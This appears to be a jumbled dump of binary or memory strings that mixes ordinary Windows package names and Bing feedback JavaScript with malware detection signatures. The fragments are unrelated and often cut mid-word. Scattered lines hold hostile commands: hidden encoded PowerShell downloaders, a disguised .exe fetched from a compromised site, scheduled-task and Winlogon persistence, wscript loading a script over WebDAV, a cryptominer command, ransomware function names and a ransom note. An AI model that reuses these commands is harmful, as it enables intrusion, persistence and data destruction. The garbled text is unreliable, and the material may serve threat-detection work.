iMicrosoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbweI
7Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbweI
iMicrosoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbweJ
JMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbweK
gMicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy() error: Invalid type (%d)
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageuserfactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationextensionfactory.cpp
Microsoft.Windows.Shell.HardwareRequirements
Microsoft-Windows-Shell-AppResolver
windows smartscreen updaterw
s(r),i=1,n=0,u=t.length;n<u;n++)if(t[n].checked){i=+t[n].value;break}return i},n.prototype.GetFormValue=function(n,t){var r=_ge(this.feedbackContainerId),i=r.querySelector('[id="'.concat(n,'"], [name="').concat(n,'"]'));return i&&(!i.placeholder||i.placeholder!==i[t])?i[t]:null},n.prototype.FormElementExists=function(n){var t=_ge(this.feedbackContainerId),i=t.querySelector('input[name="'.concat(n,'"]'));return i?!0:!1},n.prototype.GetLocString=function(n){return LocStringManager.getLocString({uiCulture:SearchAppWrapper.CortanaApp.uiLanguage,name:"LocStrings",namespace:"Feedback"})[n]},n.prototype.GetAlias=function(){return this.localStorage?this.localStorage.getItem(this.aliasTxtName):null},n.prototype.SetAlias=function(n){this.localStorage&&this.localStorage.setItem(this.aliasTxtName,n)},n.prototype.InlineIFramesAndAbsoluteURLs=function(n,t){var f=n.querySelectorAll("iframe"),u,i,e,r,o,s;if(f)for(u=0;u<f.length;u++)(i=f[u],i&&i.style&&i.style.visibility==="hidden")||(e=i.id,r=new Microsoft.Search.DOMCopyManipulator(_w.frames[e].contentDocument.documentElement),r.DeleteElementsBySelector("script"),r.DeleteElementsBySelector("#aRmsDefer"),r.DeleteElementsBySelector(".fbig"),o=r.SerializeToHtml(),s=new RegExp('(<iframe[^>]*id="'+e+'"[^>]*>)(<\/iframe>)'),t=t.replace(s,function(n,t,i){return t.replace("iframe","div")+o+i.replace("iframe","div")}));return t.replace(/(src="|href="|url\()\//g,"$1https://www.bing.com/")},n}();n.WindowsFeedbackFormBase=t;typeof sj_evt!="undefined"&&(sj_evt.bind("WindowsFeedback.Form.Show",function(){_w.WindowsFeedbackForm.Show()},1),sj_evt.bind("WindowsFeedback.Form.Hide",function(){_w.WindowsFeedbackForm.Hide()}));typeof SearchAppWrapper!="undefined"&&SearchAppWrapper.CortanaApp&&SearchAppWrapper.CortanaApp.addEventListener&&SearchAppWrapper.CortanaApp.addEventListener("feedbackformrequested",function(n){typeof n!="undefined"&&n!==null&&(n.isHandled=!0);_w.WindowsFeedbackForm.Show(null,!0)})}(WindowsFeedback||(WindowsFeedback={}));__extends=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if(typeof i!="function"&&i!==null)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=i===null?Object.create(i):(r.prototype=i.prototype,new r)}}(),function(n){"use strict";var t=function(n){function t(){var t=n.call(this)||this;return t.modalShieldId="feedbackModalShield",t}return __extends(t,n),t.prototype.CreateShowForm=function(n,t){var nt=sj_ce("div",this.modalShieldId,"modalShield hlig"),tt,c,u,l,r,a,s,v,y,p,w,b,k,e,g,o,rt;sj_be(nt,"click",this.OnCloseForm.bind(this));var f=sj_ce("div",this.feedbackContainerId,"modal hlig"),i=sj_ce("div",null,null),h=sj_ce("div","fbpgdghd","hlig");i.appendChild(h);h.appendChild(sj_ce("div",null,"padding hlig"));tt=this.AddText(h,"h2",this.GetLocString("WINDOWS_TITLE_TEXT"),"step1 hlig");c=sj_ce("div","fbctgrs");i.appendChild(c);u=sj_ce("div",null,"hlig step1 fbctgcntsdk");u.setAttribute("role","radiogroup");u.setAttribute("aria-label",this.GetLocString("DIALOG_COMMENT_TYPE_LABEL"));var ut=this.AddLabeledInputSdk(u,"radio",this.GetLocString("DIALOG_COMMENT_TYPE4"),"type",this.selectedByDefaultCatIdx==0,"1","inline hlig fbctgctlsdk","hlig","hlig","fbpgdgtp1","fbpgdgod1"),ft=this.AddLabeledInputSdk(u,"radio",this.GetLocString("DIALOG_COMMENT_TYPE5"),"type",this.selectedByDefaultCatIdx==1,"2","inline hlig fbctgctlsdk","hlig","hlig","fbpgdgtp2","fbpgdgod2"),et=this.AddLabeledInputSdk(u,"radio",this.GetLocString("DIALOG_COMMENT_TYPE6"),"type",this.selectedByDefaultCatIdx==2,"3","inline hlig fbctgctlsdk","hlig","hlig","fbpgdgtp3","fbpgdgod3");c.appendChild(u);l=sj_ce("div","fbvrbtm","hlig");i.appendChild(l);r=this.AddTextArea(l,Feedback.Core.verbatimTxtId,this.GetLocString("WINDOWS_DIALOG_COMMENT_TEXT"));r.setAttribute("maxlength","1200");r.className="step1 hlig";r.setAttribute("aria-la
t$windows.appExtensionA
$windows.appExtensionA
AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!Appms-resource:AppDisplayNamems-resource:AppDescriptionAssets\Inbox\PhotosMedTile.pngAssets\Inbox\PhotosAppList.pngAssets\Inbox\PhotosWideTile.pngAssets\Inbox\PhotosLargeTile.pngAssets\Inbox\PhotosSmallTile.pnglight
AppMicrosoft.Windows.DevHome_8wekyb3d8bbwe!Appms-resource:AppDisplayNamems-resource:AppDescriptionImages\MedTile.pngImages\AppList.pngImages\WideTile.pngImages\LargeTile.pngImages\SmallTile.pnglight
DevHome.exeWindows.FullTrustApplication
Global.WidgetBoardMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardms-resource:WidgetBoard/Resources/AppDisplayNamems-resource:WidgetBoard/Resources/AppDescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
WidgetBoard.exeWindows.FullTrustApplication
WidgetsMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgetsms-resource:PkgDisplayNamems-resource:PkgDisplayNameDashboard\Images\Square150x150Logo.pngDashboard\Images\Square44x44Logo.pngDashboard\Images\Square310x150Logo.pnglight
Dashboard\Widgets.exeWindows.FullTrustApplication
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3Global.WidgetViewWinUI3Global.WidgetViewWinUI3Assets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!Appms-resource:Resources/AppDisplayName_Notepadms-resource:Resources/AppDescription_NotepadAssets\NotepadMedTile.pngAssets\NotepadAppList.pngAssets\NotepadWideTile.pngAssets\NotepadLargeTile.pngAssets\NotepadSmallTile.pnglight
Notepad\Notepad.exeWindows.FullTrustApplication$(env:USERPROFILE)E)
Microsoft.OutlookforWindowsMicrosoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsOutlookMicrosoft OutlookAssets\MedTile.pngAssets\AppList.pngAssets\WideTile.pngAssets\LargeTile.pngAssets\SmallTile.pnglight
olk.exeWindows.FullTrustApplication
msteams_autostarter.exeWindows.FullTrustApplicationn
ms-teamsupdate.exeWindows.FullTrustApplicationn
ms-teams.exeWindows.FullTrustApplicationImages\TeamsForWorkNewSplashScreen.pngg
ms-teams.exeWindows.PartialTrustApplicationn
Global.WidgetPickerMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerGlobal.WidgetPickerGlobal.WidgetPickerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
SettingsUXHostAppMicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppNamems-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppNameAssets\AppTiles\MedTile.pngAssets\AppTiles\AppList.pngAssets\AppTiles\WideTile.pnglight
CrossDeviceSettingsHost.exeWindows.FullTrustApplication@
AppMicrosoft.WindowsStore_8wekyb3d8bbwe!AppMicrosoft Storems-resource:StoreDescriptionAssets\AppTiles\StoreMedTile.pngAssets\AppTiles\StoreAppList.pngAssets\AppTiles\StoreWideTile.pngAssets\AppTiles\StoreLargeTile.pngAssets\AppTiles\StoreSmallTile.pnglight
SnippingTool\SnippingTool.exeWindows.FullTrustApplicationon
WidgetService\WidgetService.exeWindows.FullTrustApplicationImages\SplashScreen.png
MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exeWindows.FullTrustApplicationImages\SplashScreen.png
Global.WidgetBoardMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardms-resource:WidgetBoard/Resources/AppDisplayNamems-resource:WidgetBoard/Resources/AppDescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
WidgetBoard.exeWindows.FullTrustApplication
WidgetsMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgetsms-resource:PkgDisplayNamems-resource:PkgDisplayNameDashboard\Images\Square150x150Logo.pngDashboard\Images\Square44x44Logo.pngDashboard\Images\Square310x150Logo.pnglight
Dashboard\Widgets.exeWindows.FullTrustApplication
PackageMetadataMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadataDesktopPackageMetadataPackageMetadataAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
PaintApp\mspaint.exeWindows.FullTrustApplication$(env:USERPROFILE)
StoreDesktopExtensionMicrosoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtensionMicrosoft Store ServerMicrosoft Store ServerAssets\AppTiles\StoreMedTile.pngAssets\AppTiles\StoreAppList.pnglight
StoreDesktopExtension.exeWindows.FullTrustApplication
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3Global.WidgetViewWinUI3Global.WidgetViewWinUI3Assets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WidgetPickerMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerGlobal.WidgetPickerGlobal.WidgetPickerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WidgetDataModelMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelGlobal.WidgetDataModelGlobal.WidgetDataModelAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
SecHealthUIMicrosoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUIms-resource:DisplayNamems-resource:DescriptionAssets\WindowsSecurityMedTile.pngAssets\WindowsSecurityAppList.pngAssets\WindowsSecurityWideTile.pngAssets\WindowsSecurityLargeTile.pngAssets\WindowsSecuritySmallTile.pnglight
SecHealthUI.exeSecHealthUIAppShell.AppAssets\WindowsSecuritySplashScreen.png
StoreCLIMicrosoft.WindowsStore_8wekyb3d8bbwe!StoreCLIMicrosoft Store CLI toolMicrosoft Store CLI toolAssets\AppTiles\StoreMedTile.pngAssets\AppTiles\StoreAppList.pnglight
store.exeWindows.FullTrustApplication
c:\windows\lock.pngc
reg delete "hklm\software\microsoft\windows nt\currentversion\winlogon" /v "shell" /fr
GetWindowsDirectoryW
WindowsCompareStringOrdinal
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
windowsproxy.org/win.laccss/logs/add.php
c:/windows/system32/d
c:/windows/system32/d
/powershell-argumentlist"-windowstylehidden-executionpolicybypass-command"#defineurlanddownloadpath$url="https://github.com/ladyhaha06/python/archive/refs/heads/main.zip"$publicdir="$env:public"
USERDOMAIN=Windows11
windir=C:\WINDOWS
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
Windows.Storage.Compression.dll
WindowsFormsApp21
windowsActionFiles
WindowsProject8.pdb
c:\windows\system32
Microsoft.Windows.DashboardServer5
Hscommander toolbarsoftware\microsoft\windows\currentversion\uninstall
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.3
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.4
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
72^com.microsoft.windows.ey
s called with invalid cell rangetAlert.prompt not currently implemented in react-native-windows.msn.com.android.voicemail.permission.WRITE_VOICEMAILoops run using the V
main.deobfuscateDatamain.killBlacklistedServicesmain.encryptNetworkSharesmain.deleteWindowsEventLogsmain.deleteSelfViaWM
cmd/cschtasks/create/scminute/mo1/tn'windowsthemesupdate'/tr'wscript.exe"+$fname
 & "system32"
4c:\windows\system32\cmd.exe/cpowershell-noni-whidden-nop-execbypass-encodedcommandkaboaguadwatae8aygbq
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
$c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckabpahcacgagaggadab0ahaacwa6ac8alwbpag0ayqbuagkaawb1ahualgbjag8abqavagqabwbuagualgb0ahgadaagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcakqauaemabwbuahqazqbuahqaiab8acaaaqboahyatwbraeualqbfahgauabyaguauwbzagkatwbuaa==
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
1ic:\windows\system32\windowspowershell\v1.0\powershell.exe$
windows
2="powershell.exe-windowstylehidden-executionpolicybypass-command`"start-process-filepath'$
2'-windowstylehidden`""$
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\system32\drivers\ioratV,%HJd
\SystemRoot\System32\drivers\winhvr.sys
\SystemRoot\System32\drivers\mouclass.sys
Microsoft.Windows.Input.HidUsb
winlogon.exe
*.wns.windows.com0
windows
*.wns.windows.com0
*.wns.windows.com0
windows
C:\Windows\EncryptSynaptics.com
U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI
Microsoft.ReactNativeWindows
uWINDOWS
	\system32\cmd.exe
USERDOMAIN=Windows11
windir=C:\WINDOWS
elector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector2@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IElementFactory@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@winrt@@
.?AU?$producer@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@V?$tuple@USettingEntryTemplateSelector@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@3@UIDataTemplateSelectorOverrides2@56783@@std@@@impl@winrt@@
.?AU?$base@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IDataTemplateSelectorOverrides2T@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IDataTemplateSelectorOverridesT@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$consume_Windows_UI_Xaml_IElementFactory@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@UIDataTemplateSelector2@67894@UIElementFactory@7894@@impl@winrt@@
1icrosoft.WindowsAE H
?waitForNotification@QWindowsPipeReader@@AEAA_NH@Z
?waitForNotification@QWindowsPipeWriter@@AEAA_NH@Z
?waitForPipeClosed@QWindowsPipeReader@@QEAA_NH@Z
?waitForReadyRead@QWindowsPipeReader@@QEAA_NH@Z
?waitForWrite@QWindowsPipeWriter@@QEAA_NH@Z
WindowsFormsApp1.Properties.Resources
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
\windows\current
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
system32\wbem\wmic.exeosget/format:"http://
Windows Defender\Exclusions\Paths
Microsoft-Windows-Watchdog-Events/WdLog
yERROR 10X020problema persistir, contacteC:\WINDOWS\Help\csrsss*
 -killfile c:\windowsO
.!'\x5cmicrosoft\x5cwindows\x5ccurrentversion\
WindowsCopilotEligibilityCheckSavingPhase
overflowWindowState
pagerWindowState
windows\syswow64\
windows\system32\
shellcommon\undockeddevkit\libs\windowsudk.system.profile\hardwarerequirements.cpp
ext-ms-win-ntuser-windowstation-l1-1-0.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('http
0Fly For Fun:\WINDOWS\system32\drivers\
exesoftware\microsoft\windows\currentversion\runoncewindowsrefresh\lsm7xfpp6h.exe\inetc.dll/end180/receivetimeout15/connecttimeout/nocancel/silentget\o91xax6zsohttp://lose.scarffriction.men/launcher.php?p=sevenzip&tid
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
indows\System32\
Microsoft.Windows.Shell.ProjectionManager
http://weeshoppi.com/wp-includes/ID3/g1/97103.jpgpowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypassoutfile c:\users\public\documents\jbnsdwj.exe
c:/windows/system32/dL
c:/windows/system32/d
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
a\local\temp\msi8051.tmp-\microsoft.deployment.windowsinstaller.dllNewPECreatedNoCert
\WTc:\users\job\appdata\local\temp\msi6094.tmp-\microsoft.deployment.windowsinstaller.dllNewPECreatedNoCert
ENG:OFNSET:c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell.exe
\windows media player\mefexova.html
"\\windows media player\wallpap.exe
\windows media player\mefexova.html
v{C1B4DEC2-2623-438e-9CA2-C9043AB28508}Software\Microsoft\Windows\CurrentVersion\Uninstall\Bar888Bar888.dlland click YES to continue uninstallation.Uninstallation aborted.\svchosts.exe
Failed to get Windows directory path [%d]
Including scenario - %S is in Windows.
Failed to expand system32 path. [%d]
Failed to construct system32 path
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
onecoreuap\shell\windows.storage\sharedstoragesources\ole2dup.cpp
windows.storage.dll
RemoveWindowSubclass
SetWindowSubclass
Microsoft-WindowsCoreHeadless-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-WindowsCoreHeadless-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
WARE\Microsoft\Windows\Shell\Associations\Url
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
MessagePumpForUI::ProcessNextWindowsMessage GetQueueStatus
MessagePumpForUI::ProcessNextWindowsMessage PeekMessage
!#AllowList:IcertisWindowsService
\clm\icertis.clm.tasks.windowservice\obj\debug\icertis.clm.tasks.windowsservice.pdb
lculate the remainder with a divisor of zeroexplorer.exetaskhostw.exesvchost.exeservices.exelsass.exewininit.execsrss.execonhost.exewinlogon.exedwm.exesmss.exehide_n_seek.rsvault.rsWriteProcessMemoCreateRemoteThre!#HSTR:Trojan:MSIL/AgenTesla.RRA1211!MTB
="c:\windowsupdate\
\system32\cmd\
0WindowsPowerShell\Modules\Pester
Windows NT %d.%d;W
Global\DllEvent1BPA.TransportforLoadingBinaryLogExc:\windows\serviceprofiles\networkservice\appdata\local\temp\tmp
software\microsoft\windows\currentversion\uninstall\2345pcsafes
software\microsoft\windows\currentversion\group policy\state\machine\gpo-list\s
UMyTmpFile.DatMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)=
@%SystemRoot%\System32\themeui.dll,-2103
st@%SystemRoot%\System32\themeui.dll,-2108
@%SystemRoot%\System32\themeui.dll,-2104
@%SystemRoot%\System32\themeui.dll,-2120
@%SystemRoot%\System32\ci.dll,-100plorer
@%SystemRoot%\System32\fveui.dll,-843
@%SystemRoot%\System32\ci.dll,-1017
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124
WindowsFormsApp6.Authorization.resourcesWindowsFormsApp6.Form1.resourcesMicro.WinForms.ListEditor.resourcesMicro.WinForms.Properties.Resources.resources+
var Microsoft,__extends,WindowsFeedback,	
C:\Windows\System32\version.GetFileVersionInfoAGetFileVersionInfoW
C:\Windows\System32\version.GetFileVersionInfoWVerLanguageNameA
C:\Windows\System32\version.VerLanguageNameAVerLanguageNameW
C:\Windows\System32\version.VerLanguageNameW!#HSTR:Trojan:MSIL/Formbook.AMMQ342!MTB
hurley.windows.hurleyform.resourcesh
hurley.windows.logwindow.resourcesh
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
\windowsnt\currentv^
Windows_O
WindowsVersion
jsome of your important files have been saved by my encryptionXiaoBaSOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostVictim.tmp!#HSTR:Trojan:MSIL/AgentTesla.RVX01!MTB
FreeCoTaskMemUnsafeProofOfPossessionCookieInfoWindowsTokenProviderPj
G}FWindowsApplication1.DeformServices.resourcesW
WindowsApplication1.StartQuiz.resourcesW
wO4b/pkg/messages.init/pkg/messages.AgentControl/pkg/messages.CmdPayload/pkg/agent.ExecuteCommand/agent/agent_windows.go/merlinagent/main.go!#ALF:Backdoor:MSIL/GhostRat.GA!MTB
exallocatefromnpagedlookasidelistMicrosoft Windows Hardware Compatibility PublisherExAquire\mpcommonumkernelstub!#HSTR:Sopinar.E!string
windows defender!#TEL:Trojan:Win64/Ghost.PI!MTB
GetWindowsDirectory!#HSTR:Trojan:Win32/Srizbi.gen
OS  : Windows %s
software\microsoft\windows\currentversion\uninstall\addlyrics@addlyrics.nets
gmicrosoft.windows.sensem
\microsoft\windows\currentversion\appmodel\repository\packages\
C:\\_BIT7Z_.DLLC:/Windows/notepad.exeW
Gemmb.Agent.WindowsUpdateAppObject.Agent.dllGemmbPowerShell!#AllowList:SymantecWSSAgent
>aasSAD.exeC:\EXPSYSTEM\Final Windows RAT\Rat\DcRat\Binaries\Release\Stub\CryptoObfuscator_Output\aasSAD.pdbywfzu0feja==y
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)!#HSTR:Trojan:MSIL/AgentTesla.SMQ9!MTB
software\microsoft\windows\currentversion\uninstall\notetts.exes
software\microsoft\windows\currentversion\uninstall\miniinpaints
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersionG
WindowsUpdater.exe -l luckpool.org
windows nt %d.%d;w
shownotificationbundlewindows
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
OS=Windows_NT
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
windir=C:\WINDOWS
6c:\programfiles\windowsphotoviewer\photoviewer.dllc:
/Microsoft.Windows.Cloud
C:\Windows\System32\BLUE_AND_WHITE.dllC
SAPIENPowerShellWindowsHost.Progress.resourcesS
SAPIENPowerShellWindowsHost.CPrompt.resourcesS
106^com.microsoft.windows.extensions.xaml.windowsmigration
com.microsoft.windows.extensions.xaml.windowsmigration
107^com.microsoft.windows.extension.migrationorchestrator
Windows Client Key Protection Provider
B2^WINDOWS.BACKGROUNDTASKS
COM.MICROSOFT.WINDOWS.SERVICES.IRIS
WINDOWS.SYSTEM.THREADING.THREADPOOL
stationwindows.cyou/opzi0na1la.dll
:The visual skin to use when displaying the docked windows.
|Windows7
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
B5B"http://0j.re:8080/abbbpr2/bsncg/sr1wsn/nfje2aw/11h0d/2apfmbn/%computername%"%windir%\system32\shell32.dll
"http://0j.re:8080/abbbpr2/bsncg/sdt1pi/palbabw/11h0d/2apfmbn/%computername%"%windir%\system32\shell32.dll
KAc:\windows\system32\wscript.exe"\\overview-excellent-salt-common.trycloudflare.com@ssl\davwwwroot\dat.wsh"
c:\n1oslo:.oslo\2worse.cmdd.worse.cmd..\..\..\..\oslo\worse.cmdc:\windows\system32\shell32.dll%systemroot%
;C:\WINDOWS\Sy
nfig\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WmX
stemRoot=C:\WINDOWS
=C:\WINDOWS\TEMP
WINDOWS\TEMP
DOWS\system32\config\s	
!PersistenceRegWinlogon.A!cl
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
ComSpec=C:\WINDOWS\system32\cmd.exe
Windows 11 Pro, 64-bit (Build 26200.7840)
windows11-64
onecoreuap\shell\windows.storage\dataaccess.cpp
windir=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
USERNAME=WINDOWS11$
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Windows.Data.Input.FilePathInfo
Windows.Data.AppSettings.Info
Windows.Data.Calling.Settings
WldpQueryWindowsLockdownMode
M{lf@po:i+00/c:\v1banners@.banners2vacillatinglynodal.js\.vacillatinglynodal.js$)..\..\..\..\banners\vacillatinglynodal.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
\system32\vsocklib.dll
